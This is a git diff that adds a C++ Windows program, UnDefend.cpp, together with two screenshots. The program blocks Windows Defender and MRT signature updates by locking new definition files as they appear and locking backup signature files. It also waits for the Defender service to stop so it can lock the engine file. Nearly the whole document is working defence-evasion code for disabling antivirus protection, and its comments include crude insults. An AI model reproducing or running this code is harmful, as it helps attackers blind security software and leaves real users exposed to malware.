diff --git a/EngineUnavailable.png b/EngineUnavailable.png new file mode 100644 index 0000000..ee7bcef Binary files /dev/null and b/EngineUnavailable.png differ diff --git a/UnDefend.cpp b/UnDefend.cpp new file mode 100644 index 0000000..482c6b6 --- /dev/null +++ b/UnDefend.cpp @@ -0,0 +1,452 @@ +#define _CRT_SECURE_NO_WARNINGS +#include +#include +#include +#include +#include +#include +#pragma comment(lib,"ntdll.lib") + +HANDLE* gHandleTracker = NULL; +CRITICAL_SECTION* gHandleTrackerLock; + +wchar_t gbackupfile1[MAX_PATH] = { 0 }; +wchar_t gbackupfile2[MAX_PATH] = { 0 }; + +struct UpdThreadObj { + + wchar_t* wdupdatedir; + wchar_t* target; + +}; + +void AddHandle(HANDLE hlock) +{ + // shit code but works i guess + static unsigned int handlecount = 0; + EnterCriticalSection(gHandleTrackerLock); + HANDLE* ntracker = (HANDLE*)malloc((++handlecount + 1) * sizeof(HANDLE)); + if (gHandleTracker) + { + memmove(ntracker, gHandleTracker, handlecount * sizeof(HANDLE)); + } + ntracker[handlecount - 1] = hlock; + ntracker[handlecount] = NULL; + if (gHandleTracker) + free(gHandleTracker); + gHandleTracker = ntracker; + LeaveCriticalSection(gHandleTrackerLock); +} + +void TryLockBackup() { + + static HANDLE hlock1 = NULL; + static HANDLE hlock2 = NULL; + if (hlock1 && hlock2) + return; + UNICODE_STRING unistr = { 0 }; + OBJECT_ATTRIBUTES objattr = { 0 }; + RtlInitUnicodeString(&unistr, gbackupfile1); + InitializeObjectAttributes(&objattr, &unistr, OBJ_CASE_INSENSITIVE, NULL, NULL); + IO_STATUS_BLOCK iostat = { 0 }; + + NTSTATUS ntstat = STATUS_SUCCESS; + if (!hlock1) + ntstat = NtCreateFile(&hlock1, GENERIC_READ | SYNCHRONIZE | GENERIC_EXECUTE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_ALERT, NULL, NULL); + + RtlInitUnicodeString(&unistr, gbackupfile2); + if (!hlock2) + ntstat = NtCreateFile(&hlock2, GENERIC_READ | SYNCHRONIZE | GENERIC_EXECUTE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_ALERT, NULL, NULL); + LARGE_INTEGER li2 = { 0 }; + if (hlock1) { + LARGE_INTEGER li = { 0 }; + GetFileSizeEx(hlock1, &li); + OVERLAPPED ov = { 0 }; + LockFileEx(hlock1, LOCKFILE_EXCLUSIVE_LOCK, NULL, li.LowPart, li.HighPart, &ov); + printf("File \"%ws\" was locked.\n", &gbackupfile2[4]); + AddHandle(hlock1); + } + if (hlock2) + { + LARGE_INTEGER li = { 0 }; + GetFileSizeEx(hlock2, &li); + OVERLAPPED ov = { 0 }; + LockFileEx(hlock2, LOCKFILE_EXCLUSIVE_LOCK, NULL, li.LowPart, li.HighPart, &ov); + printf("File \"%ws\" was locked.\n", &gbackupfile2[4]); + AddHandle(hlock2); + + } + return; +} + + +DWORD WINAPI UpdateBlockerThread(UpdThreadObj* argv) +{ + wchar_t fpath[MAX_PATH] = { 0 }; + wchar_t _fpath[MAX_PATH] = { 0 }; + wcscpy(fpath, argv->wdupdatedir); + wcscat(fpath, L"\\"); + wcscat(fpath, argv->target); + free(argv->target); + delete argv; + DWORD index = 0; + + HANDLE hlock = NULL; + UNICODE_STRING target = { 0 }; + OBJECT_ATTRIBUTES objattr = { 0 }; + CLSID tmp = { 0 }; + NTSTATUS stat = STATUS_SUCCESS; + IO_STATUS_BLOCK iostat = { 0 }; + wchar_t mx[40] = { 0 }; + /* + for (int i = wcslen(fpath); i > 0; i--) { + + if (fpath[i] == L'\\') + { + if (wcslen(fpath) > 99) + { + memmove(mx, &fpath[i - 38], 38 * sizeof(wchar_t)); + break; + } + else if (wcslen(fpath) > 67) + { + memmove(mx, &fpath[i - 6], 6 * sizeof(wchar_t)); + break; + } + + break; + } + } + wchar_t __cmp[7] = { 0 }; + memmove(__cmp, mx, 6 * sizeof(wchar_t));*/ + if (1/*(!CLSIDFromString(mx, &tmp)) || _wcsicmp(__cmp, L"Backup") == 0*/) + { + printf("Found path : \"%ws\"\n", fpath); + wcscpy(_fpath, L"\\??\\"); + wcscat(_fpath, fpath); + RtlInitUnicodeString(&target, _fpath); + InitializeObjectAttributes(&objattr, &target, OBJ_CASE_INSENSITIVE, NULL, NULL); + IO_STATUS_BLOCK iostat = { 0 }; + + do { + stat = NtCreateFile(&hlock, GENERIC_READ | SYNCHRONIZE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN, FILE_NON_DIRECTORY_FILE, NULL, NULL); + if (stat == STATUS_NOT_FOUND || stat == STATUS_OBJECT_NAME_NOT_FOUND || stat == STATUS_OBJECT_PATH_NOT_FOUND) + return stat; + } while (stat); + LARGE_INTEGER li = { 0 }; + GetFileSizeEx(hlock, &li); + LARGE_INTEGER offset = { 0,0 }; + + if (!LockFile(hlock, offset.LowPart, offset.HighPart, li.LowPart, li.HighPart)) + { + printf("LockFile failed, error : %d\n", GetLastError()); + } + printf("File \"%ws\" was locked.\n", fpath); + + AddHandle(hlock); + } + + return ERROR_SUCCESS; +} + + +VOID WDKillerCallback(IN PVOID pParameter) +{ + + printf("Windows defender stopped...\n"); + PSERVICE_NOTIFY psny = (PSERVICE_NOTIFY)pParameter; + SC_HANDLE hsvc = (SC_HANDLE)psny->pContext; + DWORD requiredbytes = 0; + QueryServiceConfig(hsvc, NULL, NULL, &requiredbytes); + if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) + { + printf("Failed to query windows defender service configuration, error : %d\n", GetLastError()); + return; + } + LPQUERY_SERVICE_CONFIG svccfg = (LPQUERY_SERVICE_CONFIG)malloc(requiredbytes); + if (!QueryServiceConfig(hsvc, svccfg, requiredbytes, &requiredbytes)) + { + printf("Failed to query windows defender service configuration, error : %d\n", GetLastError()); + return; + } + svccfg->lpBinaryPathName[wcslen(svccfg->lpBinaryPathName) - 1] = NULL; + wchar_t* binpath = &svccfg->lpBinaryPathName[1]; + /* + wchar_t dllpath[MAX_PATH] = { 0 }; + memmove(dllpath, binpath, wcslen(binpath) * sizeof(wchar_t) - (11 * sizeof(wchar_t))); + wcscat(dllpath, L"MpSvc.dll"); + printf("%ws\n", dllpath); + */ + + + HKEY wdkey = NULL; + if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows Defender\\Signature Updates", NULL, KEY_READ, &wdkey) || !wdkey) + { + printf("Failed to open windows defender key.\n"); + return; + } + wchar_t sigpath[MAX_PATH] = { 0 }; + DWORD retsz = sizeof(sigpath); + //TODO : Check if this returns a properly null terminated string + DWORD retcode = RegQueryValueEx(wdkey, L"SignatureLocation", NULL, NULL, (LPBYTE)sigpath, &retsz); + RegCloseKey(wdkey); + wdkey = NULL; + if (retcode) + { + printf("Failed to find windows defender signature path.\n"); + return; + } + + wcscat(sigpath, L"\\mpavbase.vdm"); + wchar_t _sigpath[MAX_PATH] = { 0 }; + wcscpy(_sigpath, L"\\??\\"); + wcscat(_sigpath, sigpath); + UNICODE_STRING unistr = { 0 }; + RtlInitUnicodeString(&unistr, _sigpath); + OBJECT_ATTRIBUTES objattr = { 0 }; + InitializeObjectAttributes(&objattr, &unistr, OBJ_CASE_INSENSITIVE, NULL, NULL); + IO_STATUS_BLOCK iostat = { 0 }; + // if you are reading this, you are autistic. + HANDLE hlock = NULL; + NTSTATUS ntstat = STATUS_SUCCESS; + ntstat = NtCreateFile(&hlock, GENERIC_READ | SYNCHRONIZE | GENERIC_EXECUTE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_ALERT, NULL, NULL); + if (ntstat) + { + printf("Failed to open engine file \"%ws\", error : 0x%0.8X\n", unistr.Buffer, ntstat); + return; + } + LARGE_INTEGER li = { 0 }; + LARGE_INTEGER li2 = { 0 }; + GetFileSizeEx(hlock, &li); + OVERLAPPED ov = { 0 }; + LockFileEx(hlock, LOCKFILE_EXCLUSIVE_LOCK, NULL, li.LowPart, li.HighPart, &ov); + + printf("File locked.\n"); + free(svccfg); + AddHandle(hlock); + return; +} + + +DWORD WINAPI WDKillerThread(void*) +{ + SC_HANDLE hsvc = NULL; + SC_HANDLE scmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT); + if (!scmgr) + { + printf("Failed to open service manager, error : %d\n", GetLastError()); + return 1; + } + hsvc = OpenService(scmgr, L"WinDefend", SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG); + CloseServiceHandle(scmgr); + if (!hsvc) + { + printf("Failed to open WinDefend service, error : %d\n", GetLastError()); + return 1; + } + + SERVICE_STATUS svcstat = { 0 }; + if (!QueryServiceStatus(hsvc, &svcstat) || svcstat.dwCurrentState != SERVICE_RUNNING) + { + printf("Windows Defender isn't running, exiting..."); + CloseHandle(hsvc); + ExitProcess(ERROR_SUCCESS); + } + while (1) { + SERVICE_NOTIFY_2W svcnotify = { 0 }; + svcnotify.dwVersion = SERVICE_NOTIFY_STATUS_CHANGE; + svcnotify.pfnNotifyCallback = WDKillerCallback; + svcnotify.pContext = hsvc; + if (NotifyServiceStatusChangeW(hsvc, + SERVICE_NOTIFY_STOPPED, &svcnotify)) + { + printf("Failed to set a notification for windows defender status.\n"); + CloseHandle(hsvc); + return 1; + } + printf("Registered callback for Windows Defender status change.\n"); + SleepEx(INFINITE, TRUE); + } + CloseHandle(hsvc); + return 0; + +} + +DWORD WINAPI MRTWorkerThread(void*) { + + wchar_t wdpath[MAX_PATH] = { 0 }; + wchar_t _wdupdatedir[] = { L"\\??\\C:\\Windows\\System32\\MRT"}; + UNICODE_STRING target = { 0 }; + RtlInitUnicodeString(&target, _wdupdatedir); + OBJECT_ATTRIBUTES objattr = { 0 }; + IO_STATUS_BLOCK iostat = { 0 }; + HANDLE hmonitordir = NULL; + DWORD retbytes = 0; + + InitializeObjectAttributes(&objattr, &target, OBJ_CASE_INSENSITIVE, NULL, NULL); + NTSTATUS stat = STATUS_SUCCESS; + do { + Sleep(10); + stat = NtCreateFile(&hmonitordir, FILE_READ_DATA | SYNCHRONIZE, &objattr, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + FILE_OPEN, FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT | FILE_OPEN_REPARSE_POINT, NULL, NULL); + + } while (stat == STATUS_OBJECT_NAME_NOT_FOUND); + if (stat || !hmonitordir) + { + printf("Failed to open MRT directory, error : 0x%0.8X\n",stat); + return 1; + } + char notifydata[0x1000] = { 0 }; + do { + + if (!ReadDirectoryChangesW(hmonitordir, notifydata, sizeof(notifydata), TRUE, FILE_NOTIFY_CHANGE_SIZE, &retbytes, NULL, NULL)) + { + + printf("Failed to set directory watcher.\n"); + return 1; + } + + + FILE_NOTIFY_INFORMATION* fni = (FILE_NOTIFY_INFORMATION*)notifydata; + if (fni->Action != FILE_ACTION_MODIFIED) + continue; + + //printf("Notify triggered.\n"); + + UpdThreadObj* threadargv = new UpdThreadObj; + threadargv->wdupdatedir = &_wdupdatedir[4]; + fni->FileName[fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t)] = NULL; + wchar_t* target = (wchar_t*)malloc(fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t)); + ZeroMemory(target, sizeof(fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t))); + wcscpy(target, fni->FileName); + threadargv->target = target; + DWORD tid = 0; + // TODO : track thread creation + HANDLE hthread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)UpdateBlockerThread, threadargv, NULL, &tid); + + } while (1); + return ERROR_SUCCESS; +} + +int wmain() +{ + DWORD tid2 = 0; + + + wchar_t updatedir[MAX_PATH] = { 0 }; + HKEY wdkey = NULL; + wchar_t wdpath[MAX_PATH] = { 0 }; + wchar_t wdupdatedir[MAX_PATH] = { 0 }; + wchar_t _wdupdatedir[MAX_PATH] = { 0 }; + DWORD retsz = sizeof(wdpath); + DWORD retbytes = 0; + DWORD retcode = 0; + HANDLE hmonitordir = NULL; + NTSTATUS stat = STATUS_SUCCESS; + UNICODE_STRING target = { 0 }; + OBJECT_ATTRIBUTES objattr = { 0 }; + IO_STATUS_BLOCK iostat = { 0 }; + gHandleTrackerLock = new CRITICAL_SECTION; + InitializeCriticalSection(gHandleTrackerLock); + + + HANDLE wdkiller = NULL; + + + + if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows Defender", NULL, KEY_READ, &wdkey) || !wdkey) + { + printf("Failed to open windows defender key.\n"); + return 1; + } + + //TODO : Check if this returns a properly null terminated string + retcode = RegQueryValueEx(wdkey, L"ProductAppDataPath", NULL, NULL, (LPBYTE)wdpath, &retsz); + RegCloseKey(wdkey); + wdkey = NULL; + if (retcode) + { + printf("Failed to find windows defender installation path.\n"); + return 1; + } + + wcscpy(wdupdatedir, wdpath); + wcscat(wdupdatedir, L"\\Definition Updates"); + + wcscpy(_wdupdatedir, L"\\??\\"); + wcscat(_wdupdatedir, wdupdatedir); + + wcscpy(gbackupfile1, _wdupdatedir); + wcscpy(gbackupfile2, _wdupdatedir); + wcscat(gbackupfile1, L"\\Backup\\mpavbase.lkg"); + wcscat(gbackupfile2, L"\\Backup\\mpavbase.vdm"); + + TryLockBackup(); + + wdkiller = CreateThread(NULL, NULL, WDKillerThread, NULL, NULL, &tid2); + + // run in killer mode + // WaitForSingleObject(wdkiller,INFINITE); + // + + HANDLE mrtkiller = CreateThread(NULL, NULL, MRTWorkerThread, NULL, NULL, &tid2); + if (!wdkiller) + { + printf("Failed to create defender killer thread.\n"); + } + if (!mrtkiller) + { + printf("Failed to create MRT killer thread.\n"); + } + + RtlInitUnicodeString(&target, _wdupdatedir); + InitializeObjectAttributes(&objattr, &target, OBJ_CASE_INSENSITIVE, NULL, NULL); + + stat = NtCreateFile(&hmonitordir, FILE_READ_DATA | SYNCHRONIZE, &objattr, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + FILE_OPEN, FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT | FILE_OPEN_REPARSE_POINT, NULL, NULL); + if (stat || !hmonitordir) + { + printf("Failed to open windows defender update directory.\n"); + return 1; + } + + + + //WaitForSingleObject(gevent, INFINITE); + char notifydata[0x1000] = { 0 }; + do { + + if (!ReadDirectoryChangesW(hmonitordir, notifydata, sizeof(notifydata), TRUE, FILE_NOTIFY_CHANGE_SIZE, &retbytes, NULL, NULL)) + { + + printf("Failed to set directory watcher.\n"); + return 1; + } + + + FILE_NOTIFY_INFORMATION* fni = (FILE_NOTIFY_INFORMATION*)notifydata; + if (fni->Action != FILE_ACTION_MODIFIED) + continue; + + //printf("Notify triggered.\n"); + + UpdThreadObj* threadargv = new UpdThreadObj; + threadargv->wdupdatedir = wdupdatedir; + fni->FileName[fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t)] = NULL; + wchar_t* target = (wchar_t*)malloc(fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t)); + ZeroMemory(target, sizeof(fni->FileNameLength * sizeof(wchar_t) + sizeof(wchar_t))); + wcscpy(target, fni->FileName); + threadargv->target = target; + DWORD tid = 0; + // TODO : track thread creation + HANDLE hthread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)UpdateBlockerThread, threadargv, NULL, &tid); + + + } while (1); + + + CloseHandle(hmonitordir); + + + return 0; +} \ No newline at end of file diff --git a/UpdateError.png b/UpdateError.png new file mode 100644 index 0000000..d1a4814 Binary files /dev/null and b/UpdateError.png differ